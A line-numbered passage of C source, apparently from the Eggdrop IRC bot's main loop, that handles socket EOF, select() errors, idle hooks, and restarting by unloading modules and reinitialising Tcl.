  1620. break;
  1621. }
  1622. } else if (xx == -1) { /* EOF from someone */
  1623. int idx;
  1624. if (i == STDOUT && !backgrd)
  1625. fatal("END OF FILE ON TERMINAL", 0);
  1626. for (idx = 0; idx < dcc_total; idx++)
  1627. if (dcc[idx].sock == i) {
  1628. if (dcc[idx].type && dcc[idx].type->eof)
  1629. dcc[idx].type->eof(idx);
  1630. else {
  1631. putlog(LOG_MISC, "*",
  1632. "*** ATTENTION: DEAD SOCKET (%d) OF TYPE %s UNTRAPPED",
  1633. i, dcc[idx].type ? dcc[idx].type->name : "*UNKNOWN*");
  1634. killsock(i);
  1635. lostdcc(idx);
  1636. }
  1637. idx = dcc_total + 1;
  1638. }
  1639. if (idx == dcc_total) {
  1640. putlog(LOG_MISC, "*",
  1641. "(@) EOF socket %d, not a dcc socket, not anything.", i);
  1642. close(i);
  1643. killsock(i);
  1644. }
  1645. } else if (xx == -2 && errno != EINTR) { /* select() error */
  1646. putlog(LOG_MISC, "*", "* Socket error #%d; recovering.", errno);
  1647. for (i = 0; i < dcc_total; i++) {
  1648. if ((fcntl(dcc[i].sock, F_GETFD, 0) == -1) && (errno = EBADF)) {
  1649. putlog(LOG_MISC, "*",
  1650. "DCC socket %d (type %d, name '%s') expired -- pfft",
  1651. dcc[i].sock, dcc[i].type, dcc[i].nick);
  1652. killsock(dcc[i].sock);
  1653. lostdcc(i);
  1654. i--;
  1655. }
  1656. }
  1657. } else if (xx == -3) {
  1658. call_hook(HOOK_IDLE);
  1659. socket_cleanup = 0; /* If we've been idle, cleanup & flush */
  1660. }
  1661. /* FIXME: do_restart */
  1662. if (do_restart) {
  1663. if (do_restart == -2)
  1664. rehash();
  1665. else {
  1666. /* Unload as many modules as possible */
  1667. int f = 1;
  1668. module_entry *p;
  1669. Function x;
  1670. char xx[256];
  1671. /* oops, I guess we should call this event before tcl is restarted */
  1672. check_tcl_event("prerestart");
  1673. while (f) {
  1674. f = 0;
  1675. for (p = module_list; p != NULL; p = p->next) {
  1676. dependancy *d = dependancy_list;
  1677. int ok = 1;
  1678. while (ok && d) {
  1679. if (d->needed == p)
  1680. ok = 0;
  1681. d = d->next;
  1682. }
  1683. if (ok) {
  1684. strcpy(xx, p->name);
  1685. if (module_unload(xx, botnetnick) == NULL) {
  1686. f = 1;
  1687. break;
  1688. }
  1689. }
  1690. }
  1691. }
  1692. for (f = 0, p = module_list; p; p = p->next) {
  1693. if (!strcmp(p->name, "eggdrop") || !strcmp(p->name, "encryption") ||
  1694. !strcmp(p->name, "uptime"))
  1695. f = 0;
  1696. else
  1697. f = 1;
  1698. }
  1699. if (f)
  1700. /* Should be only 3 modules now - eggdrop, encryption, and uptime */
  1701. putlog(LOG_MISC, "*", MOD_STAGNANT);
  1702. /* flushlogs(); */
  1703. kill_tcl();
  1704. init_tcl(argc, argv);
  1705. /* this resets our modules which we didn't unload (encryption and uptime) */
  1706. for (p = module_list; p; p = p->next) {
  1707. if (p->funcs) {
  1708. x = p->funcs[MODCALL_START];
  1709. x(NULL);
  1710. }
  1711. }
  1712. rehash();
  1713. restart_chons();
  1714. call_hook(HOOK_LOADED);
  1715. }
  1716. do_restart = 0;
  1717. }
  1718. }
  1719. }